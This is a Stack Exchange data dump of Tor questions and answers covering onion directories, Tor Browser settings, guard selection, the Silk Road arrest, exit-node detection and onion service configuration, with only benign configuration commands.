  <row Id="21147" PostTypeId="1" AcceptedAnswerId="21148" CreationDate="2020-04-28T22:16:03.447" Score="0" ViewCount="385" Body="&lt;p&gt;In using the &lt;code&gt;tor&lt;/code&gt; browser, what websites and search engines are available for locating, in particular, &lt;code&gt;onion&lt;/code&gt; websites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Periodically, I'll see mention of such-and-such a URL for an &lt;code&gt;onion&lt;/code&gt; website, but it's all too often no longer working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps even a list?&lt;/p&gt;&#xA;" OwnerUserId="857" LastActivityDate="2020-04-29T05:50:30.610" Title="how to find onion websites?" Tags="|onion-services|help|directory|client|website|" AnswerCount="1" CommentCount="0" ClosedDate="2020-05-03T19:59:36.067" ContentLicense="CC BY-SA 4.0" />
  <row Id="21148" PostTypeId="2" ParentId="21147" CreationDate="2020-04-29T05:50:30.610" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/onions/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/onions/&lt;/a&gt; has a large number of them. Make sure to read the sidebar for a list of search engines. You can find all contributed onion services &lt;a href=&quot;https://www.reddit.com/r/onions/search?q=url%3A.onion&amp;amp;sort=new&amp;amp;restrict_sr=on&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor project's own onion service is &lt;a href=&quot;http://expyuzz4wqqyqhjn.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-04-29T05:50:30.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21149" PostTypeId="1" AcceptedAnswerId="21167" CreationDate="2020-04-29T09:43:37.687" Score="2" ViewCount="213" Body="&lt;p&gt;The choice of what to show in new tab is rather poor (TB 9.0.9):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jn35Y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jn35Y.png&quot; alt=&quot;Screenshot of new tab options (blank or about)&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'd like to get home page in it.. is this possible via some more configuration and is this limitation deliberate? (I'm seeing some questions with answers suggesting something is restricted by design for security, but I don't see how this secures me if home page is shown by default already, when TB starts)&lt;/p&gt;&#xA;&lt;p&gt;Ideally, there should be an option to show an arbitrary page configured separately from home page, but it's ok to use home page too.&lt;/p&gt;&#xA;" OwnerUserId="30169" LastEditorUserId="25432" LastEditDate="2021-01-20T16:30:21.730" LastActivityDate="2021-01-20T16:30:21.730" Title="Can I set new tab to show home page?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21150" PostTypeId="1" CreationDate="2020-04-29T10:33:28.793" Score="1" ViewCount="145" Body="&lt;p&gt;As far as I know, there are nine hardcoded directory servers in the tor program. So, is it's starting by making one of them as it's guard node and then on step two, obtain data about all other relays in the network and then choose another one as it's guard node for further communications? How is the first connection established and how the steps changes on subsequent runs?&lt;/p&gt;&#xA;" OwnerUserId="30167" LastActivityDate="2022-01-21T21:01:50.813" Title="how tor establishes connection on first run?" Tags="|relays|directory|guard-node|entry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21151" PostTypeId="2" ParentId="21145" CreationDate="2020-04-29T19:01:29.517" Score="1" Body="&lt;p&gt;I managed to get it working by setting the tor Data Directory to the same Data Directory of TorBrowser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added this to my torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory /Users/armin/Library/Application Support/TorBrowser-Data/Tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know why this works! but I guess its about the cached data which is not present in the cli tor, but its available in the TorBrowser data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you know the reason let me know!&lt;/p&gt;&#xA;" OwnerUserId="30163" LastActivityDate="2020-04-29T19:01:29.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21152" PostTypeId="2" ParentId="21139" CreationDate="2020-04-29T19:14:40.283" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/users/30147/imen&quot;&gt;@lmen&lt;/a&gt; is probably talking about &lt;a href=&quot;https://elements.heroku.com/buildpacks/todokku/heroku-buildpack-tor-proxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Proxy Buildpack for Heroku&lt;/a&gt;, it can setup Tor on a heroku node with socks5 and control port available (They can be configured in the environment values).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to do is run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ heroku buildpacks:add https://github.com/iamashks/heroku-buildpack-tor-proxy.git&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it will automatically setup a proxy that you can use at port 9050.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2020-04-29T19:14:40.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21154" PostTypeId="1" CreationDate="2020-04-30T06:34:27.150" Score="0" ViewCount="802" Body="&lt;p&gt;I'm using TOR Browser for 3+ months but I noticed that the Guard node didn't change even once. I thought that Guards change every 1-2 months, but not in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="30173" LastEditorUserId="88" LastEditDate="2020-05-13T21:06:56.503" LastActivityDate="2022-03-05T13:04:40.370" Title="Why guard node didn't change after 3 months of using TOR browser?" Tags="|tor-browser-bundle|guard|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21155" PostTypeId="1" CreationDate="2020-04-30T10:29:51.757" Score="3" ViewCount="1484" Body="&lt;p&gt;I'm looking to a best tor search engine for search tor hidden services at without the need of tor browser. Also, I like a simple user interface and fast. Please suggest some tor2web proxy search engines.&lt;/p&gt;&#xA;" OwnerUserId="30125" LastActivityDate="2021-01-25T13:04:55.660" Title="Tor Search Engine? is there any Tor2web search engines in clearnet?" Tags="|onion-routing|website|web-proxy|darknet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21156" PostTypeId="2" ParentId="21155" CreationDate="2020-04-30T11:56:38.753" Score="2" Body="&lt;p&gt;I prefer &lt;a href=&quot;https://www.bullmask.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bullmask&lt;/a&gt; search engine. Personally I'm using this tor search engine for tor2web. This site has a neat interface and those onion results are like google SERP. Also, you don't need tor browser for access tor hidden services.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZBaIv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZBaIv.png&quot; alt=&quot;Tor Search Engine&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30175" LastActivityDate="2020-04-30T11:56:38.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21157" PostTypeId="2" ParentId="21154" CreationDate="2020-04-30T18:51:35.803" Score="0" Body="&lt;p&gt;Tor does not keep a single guard node that it changes after a certain amount of time. There is a complicated process for how guards are chosen and how Tor uses them. You can read more about this here: &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/271-another-guard-selection.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/proposals/271-another-guard-selection.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proposal doesn't really explain the different possible state changes, but assuming that a guard is never &quot;re-confirmed&quot; after some time, then a guard should be in the sampled set for at most 120+60 days. Any guard here should be used as a primary guard for less time than this, depending on how the 3 primary guards are filtered. For most people who choose stable guards, my guess is that their first-ever primary guard will be used for about 108-120 days (since they would have been chosen as a primary guard on the same day they were added to the sampled guard set), but then future primary guards will be used for less time than this (since they would have been in the sampled guard set for some time already before being chosen as a primary guard).&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-04-30T18:51:35.803" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21158" PostTypeId="2" ParentId="16047" CreationDate="2020-05-01T00:45:43.637" Score="0" Body="&lt;p&gt;At your own risk.&#xA;You can find it at the internet archive.&#xA;It is listed as tails-i386-2.4. ISO file.&#xA;&lt;a href=&quot;https://archive.org/details/tails-i386-2.4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://archive.org/details/tails-i386-2.4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the Tucows link only shows the 3.5 version&lt;/p&gt;&#xA;" OwnerUserId="30180" LastEditorUserId="30180" LastEditDate="2020-05-01T00:53:40.063" LastActivityDate="2020-05-01T00:53:40.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21159" PostTypeId="1" CreationDate="2020-05-01T12:23:26.017" Score="1" ViewCount="634" Body="&lt;p&gt;The question is simple. If Ross William Ulbricht running a darknet market inside a TOR network and he never exits through the exit node, and obviously he won't need to, so how did he get caught?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was taking a course on the anonymizing techniques and there I had learned through the illustrated examples. As shown below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SIZA9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SIZA9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user connects to a TOR so his activity is nonencrypted as shown with a left red arrow it means an ISP can see a user is using a TOR network. Fine. When a user inside a TOR network then his all network is encrypted as shown with green arrow. As soon as, the user leaves the TOR network then his activity becomes again nonencrypted and anyone can see his traffic but not the origin (shown with right red arrow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5A85m.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5A85m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this scenario, when a user enters a TOR network, at the time he is visible to his ISP but if he gets inside the TOR network then he is invisible to the clearnet world. And he can access the .onion services what we call a darknet. So Ross William Ulbricht was running the service inside the darknet and he never needs to leave the TOR network through the exit node to the outside world but yet he caught by the FBI, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is another example from a famous hacking series MR. Robot season 1 where Elliot tracks the activity of Roni's coffee who was running an illegal website on the darknet so Elliot says if anyone controls the exit node he can take control over the traffic. Again, if Roni was running his services inside the TOR network and did not exit through the exit node of the TOR network so how did Elliot catch him? Obviously, Mr. Robot is not a fake hacking series. 99% of things are real in that series. Here is the youtube reference for that scene.&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=sO2raiSHOhc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=sO2raiSHOhc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, if not Roni's Coffee owner leave the TOR network nor Ross William Ulbricht then how did they get caught even they were inside the TOR network? How does the exit node plays a srole in both cases?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="30183" LastActivityDate="2020-05-03T12:21:50.053" Title="How did Ross William Ulbricht get caught if he was inside the TOR network and did not leave through the exit node?" Tags="|exit-relays|node|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21160" PostTypeId="2" ParentId="21150" CreationDate="2020-05-01T17:33:16.567" Score="0" Body="&lt;p&gt;This is a good explanation of the directory servers from the &lt;a href=&quot;https://stem.torproject.org/api/directory.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stem Wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At a very high level tor works as follows...&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Volunteer starts a new tor relay, during which it sends a server descriptor to each of the directory authorities.&lt;/li&gt;&#xA;  &lt;li&gt;Each hour the directory authorities make a vote that says who they think the active relays are in the network and some attributes about&#xA;  them.&lt;/li&gt;&#xA;  &lt;li&gt;The directory authorities send each other their votes, and compile that into the consensus. This document is very similar to the votes,&#xA;  the only difference being that the majority of the authorities agree&#xA;  upon and sign this document. The idividual relay entries in the vote&#xA;  or consensus is called router status entries.&lt;/li&gt;&#xA;  &lt;li&gt;Tor clients (people using the service) download the consensus from an authority, fallback, or other mirror to determine who the active&#xA;  relays in the network are. They then use this to construct circuits&#xA;  and use the network.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2020-05-01T17:33:16.567" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21161" PostTypeId="2" ParentId="21097" CreationDate="2020-05-01T17:39:34.393" Score="0" Body="&lt;p&gt;In tails, there is an option to use &lt;a href=&quot;https://tails.boum.org/contribute/design/Unsafe_Browser/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unsafe Browser&lt;/a&gt;. It should be available in your version of Tails out of the box.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Unsafe Browser is run by a separate clearnet user, wich is allowed&#xA;  to make TCP connections to any port, and UDP DNS queries; access to&#xA;  local services like Tor etc. are blocked so it cannot interfere with&#xA;  them if compromised. Restricting the TCP ports to HTTP(S) and DNS only&#xA;  is not done since some captive portals use non-standard ports. Port&#xA;  restrictions are a pretty weak defense any way since just one open&#xA;  port is enough to do anything.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2020-05-01T17:39:34.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21162" PostTypeId="2" ParentId="21159" CreationDate="2020-05-01T18:15:38.103" Score="1" Body="&lt;p&gt;This &lt;a href=&quot;https://www.youtube.com/watch?v=tlxmUfnpr8w&quot; rel=&quot;nofollow noreferrer&quot;&gt;defcon 22 talk&lt;/a&gt; covers most of the possible ways to get caught using Tor:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All tor nodes are known (except bridges). ISP or system administrator can figure out who was using tor at a given time and from what IP. That information can be used to narrow down who is using tor and find out the suspect.&lt;/li&gt;&#xA;&lt;li&gt;People can give away a lot of information themselves. One slip up is enough to give away your location.&lt;/li&gt;&#xA;&lt;li&gt;People can be found out using an exploit in the web page (for example, in JavaScript).&lt;/li&gt;&#xA;&lt;li&gt;Server can have an RCE exploit (Remote Code Execution), which can be used to contact another server over clearnet, and thus, giving away the real IP.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also in the talk, it was pointed out that the owner gave away himself by advertising his gmail over some shady forum, looking for an &quot;IT pro in the bitcoin community&quot;. Oh, and also &lt;a href=&quot;https://stackoverflow.com/questions/15445285/how-can-i-connect-to-a-tor-hidden-service-using-curl-in-php&quot;&gt;posted on stackoverflow&lt;/a&gt; asking for help with a Tor hidden service under his real name (later changed to frosty). The exact details on how FBI found his servers are unknown, but after they found them, they started taking them down and also took a copy of the server data.&lt;/p&gt;&#xA;" OwnerUserId="17825" LastEditorUserId="17825" LastEditDate="2020-05-01T18:21:51.693" LastActivityDate="2020-05-01T18:21:51.693" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21164" PostTypeId="2" ParentId="21159" CreationDate="2020-05-03T12:21:50.053" Score="0" Body="&lt;p&gt;There is many steps he did wrong that got him caught.&#xA;Most of them are not related to tor\exit nodes directly.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;He boasted about running his international multimillion dollar drugs marketplace on his LinkedIn profile&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;He used a real photograph of himself for a fake ID to rent servers to run his international multimillion dollar drugs marketplace&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;He asked for advice on coding the secret website for his international multimillion dollar drugs marketplace using his real&#xA;  name&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;He sought contacts in courier firms, presumably to work out how to best ship things from his international multimillion dollar drugs&#xA;  marketplace, on Google+, where his real name, real face and real&#xA;  YouTube profile were visible&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;He allegedly paid $80,000 to kill a former employee of his international multimillion dollar drugs marketplace to a man who&#xA;  turned out to be an undercover cop&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.theguardian.com/technology/2013/oct/03/five-stupid-things-dread-pirate-roberts-did-to-get-arrested&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.theguardian.com/technology/2013/oct/03/five-stupid-things-dread-pirate-roberts-did-to-get-arrested&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.wired.com/2015/01/silk-road-trial-undercover-dhs-fbi-trap-ross-ulbricht/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.wired.com/2015/01/silk-road-trial-undercover-dhs-fbi-trap-ross-ulbricht/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2020-05-03T12:21:50.053" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21165" PostTypeId="2" ParentId="21149" CreationDate="2020-05-03T12:34:52.913" Score="0" Body="&lt;p&gt;Type &lt;code&gt;about:config&lt;/code&gt; in URL and Search/Filter for &lt;code&gt;browser.startup.homepage&lt;/code&gt; and change the value &lt;code&gt;about:tor&lt;/code&gt; to the page you want as a home page. Works for me on Tor Browser Bundle v9.0.9. You'll need to restart the browser afterwards.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7tBP4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7tBP4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wVb8a.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wVb8a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2020-05-03T12:34:52.913" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21166" PostTypeId="2" ParentId="20704" CreationDate="2020-05-03T16:54:33.063" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://ahmia.fi&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ahmia.fi&lt;/a&gt; does the thing. It indexes Tor sites by his own algorithm.&lt;/p&gt;&#xA;" OwnerUserId="7324" LastEditorUserId="7324" LastEditDate="2020-05-05T06:37:06.187" LastActivityDate="2020-05-05T06:37:06.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21167" PostTypeId="2" ParentId="21149" CreationDate="2020-05-03T19:09:54.967" Score="1" Body="&lt;p&gt;The Tor Browser is based on Firefox, and Firefox does not have this feature either. So it's not that the Tor Browser removed the option, it's that Firefox doesn't have this feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1118285&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bugzilla.mozilla.org/show_bug.cgi?id=1118285&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1452144&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bugzilla.mozilla.org/show_bug.cgi?id=1452144&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While installing extensions in the Tor Browser is not recommended, that might be the only way to get this functionality.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-05-03T19:09:54.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21168" PostTypeId="1" AcceptedAnswerId="21169" CreationDate="2020-05-03T21:01:34.693" Score="1" ViewCount="1585" Body="&lt;p&gt;I need to redirect visitors to .onion site if they come using Tor Browser. It's okay if they have IPv4 IPs (e.g. &lt;code&gt;51.15.86.162&lt;/code&gt; belongs to tor exit nodes list). But how to do that in case of IPv6 addresses, for example &lt;code&gt;2a0b:f4c0:16c:13::1&lt;/code&gt; ?&#xA;Is there a similar IPv6 exit list or any programmatic method to tell the address is used by exit node?&lt;/p&gt;&#xA;" OwnerUserId="30037" LastActivityDate="2021-11-23T09:33:42.530" Title="Detect TOR users with IPv6 exit addresses" Tags="|tor-browser-bundle|exit-relays|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21169" PostTypeId="2" ParentId="21168" CreationDate="2020-05-03T22:12:32.057" Score="0" Body="&lt;p&gt;You can get the list of IPv6 addresses of tor exit nodes here (the IPv6 column): &lt;a href=&quot;https://metrics.torproject.org/rs.html#search/flag:exit%20&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#search/flag:exit%20&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there is no programmatic way to tell a regular ip from a tor exit node ip (except for maybe doing a reverse dns lookup on the ip and checking if the domain has the word &quot;tor&quot; in it)&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2020-05-03T22:12:32.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21171" PostTypeId="1" AcceptedAnswerId="21186" CreationDate="2020-05-04T05:41:58.793" Score="1" ViewCount="225" Body="&lt;p&gt;I'm building a project to track one's own Linux device (mainly for Linux phones like PinePhone or Librem5), like &lt;a href=&quot;https://github.com/HenryHoggard/OpenLocate&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenLocate&lt;/a&gt;. To avoid MITM attacks and other issues; instead of actively sending location information to a server. I want to use the device's mobile network to host a hidden service for device owners to query locations later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet mobile networks are not stable and can be temporarily interrupted by signal losses. How does this effect Tor? Does the tor daemon need to restart every time to reconnect to the Tor network? Are there other possible issues?&lt;/p&gt;&#xA;" OwnerUserId="30201" LastEditorUserId="30201" LastEditDate="2020-05-04T05:48:03.307" LastActivityDate="2020-05-06T06:44:29.323" Title="Running hidden services on mobile network - stablity and viablity?" Tags="|onion-services|mobile|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21175" PostTypeId="1" AcceptedAnswerId="21176" CreationDate="2020-05-04T19:37:26.823" Score="0" ViewCount="208" Body="&lt;p&gt;this is probably a really dumb question but, I can't find any info about it. For what I see this exact topic has not been addressed before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running a onion service with a hostname generated by tor. I don't want to use it though, I want to use one of my old onion domains. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I know, the domain is generated based on the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I paste the the old hostname and old private key inside the HiddenService folder and replace the one generated by tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will that work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="28802" LastActivityDate="2020-05-04T19:50:16.233" Title="how to use a previously generated onion domain?" Tags="|onion-routing|customization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21176" PostTypeId="2" ParentId="21175" CreationDate="2020-05-04T19:50:16.233" Score="0" Body="&lt;p&gt;Yes, you can just copy over the contents of the old hidden service directory to the new one. Make sure your torrc file specifies the same hidden service version (for example if your old service was a v3 service, make sure you use &lt;code&gt;HiddenServiceVersion 3&lt;/code&gt;), and make sure to reload your tor configuration (or just restart tor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2012-August/025068.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-talk/2012-August/025068.html&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://askubuntu.com/questions/90294/can-i-migrate-a-tor-hiddenservice-from-one-user-pc-to-another&quot;&gt;https://askubuntu.com/questions/90294/can-i-migrate-a-tor-hiddenservice-from-one-user-pc-to-another&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-05-04T19:50:16.233" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21178" PostTypeId="1" AcceptedAnswerId="21180" CreationDate="2020-05-05T08:28:42.970" Score="0" ViewCount="73" Body="&lt;p&gt;I sniffed the traffic using wireshark while using IRC via TOR, the traffic is encrypted of course cuz its done i in the application layer (i think, correct 4 me if i am wrong). now the traffic is still encrypted until it reaches the exit node. i know the server or anyone sniffing there on the exit node will not be able to know where did it come from.  Will it be encrypted at the exit node if i didnt use SSL ? i know its a dumb question but i need to make sure. thanx  &lt;/p&gt;&#xA;" OwnerDisplayName="user30207" LastActivityDate="2020-05-05T10:58:00.883" Title="IRC traffic while using tor" Tags="|exit-relays|traffic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21180" PostTypeId="2" ParentId="21178" CreationDate="2020-05-05T10:58:00.883" Score="0" Body="&lt;p&gt;After the exit node, the traffic is like any other. If the service IRC, https, etc. is using encryption, then it is encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the service isn't using encryption, i.e. http, telnet, ftp, etc. then there isn't any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no way around it. Even if you were using a VPN, the connection between the VPN server and the website, irc, whatever would still be unencrypted.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-05-05T10:58:00.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21181" PostTypeId="1" CreationDate="2020-05-05T20:13:12.153" Score="1" ViewCount="128" Body="&lt;p&gt;Can someone explain some things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is all trafic between client and .onion server encrypted 6 times in either direction because of chain:&lt;br&gt;&#xA;Client -- [1 node ip -- 2 node ip -- 3 node ip] -- [3 node unknown-2&#xA;node unknown-1 node unknown] -- onion Server destination.&lt;/li&gt;&#xA;&lt;li&gt;Supposing someone has control of all &lt;em&gt;my&lt;/em&gt; 3 nodes (the worse scenario). But he still can't see what .onion server I'm using, isn't he? Because of end-to-end encryption of .onions and guard nodes between my exit node and site's ip.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If I'm wrong in something and you can explain it clearly please do it.&lt;/p&gt;&#xA;" OwnerUserId="30211" LastEditorUserId="24966" LastEditDate="2020-05-09T23:38:11.583" LastActivityDate="2020-05-18T19:34:48.027" Title="Need some details about relays between user and onion sites" Tags="|onion-services|onion-routing|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21182" PostTypeId="2" ParentId="20927" CreationDate="2020-05-05T22:03:28.533" Score="0" Body="&lt;p&gt;This solution worked for me on Tails 4.5 :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo snap set system proxy.http=socks5://127.0.0.1:9050&#xA;sudo snap set system proxy.https=socks5://127.0.0.1:9050&#xA;sudo iptables -I OUTPUT 3 -d 127.0.0.1/32 -o lo -p tcp -m tcp --dport 9050 --tcp-flags FIN,SYN,RST,ACK SYN -m owner --uid-owner 0 -j ACCEPT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://forum.snapcraft.io/t/installing-snap-packages-with-tor/15527/7&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.snapcraft.io/t/installing-snap-packages-with-tor/15527/7&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-05-05T22:03:28.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
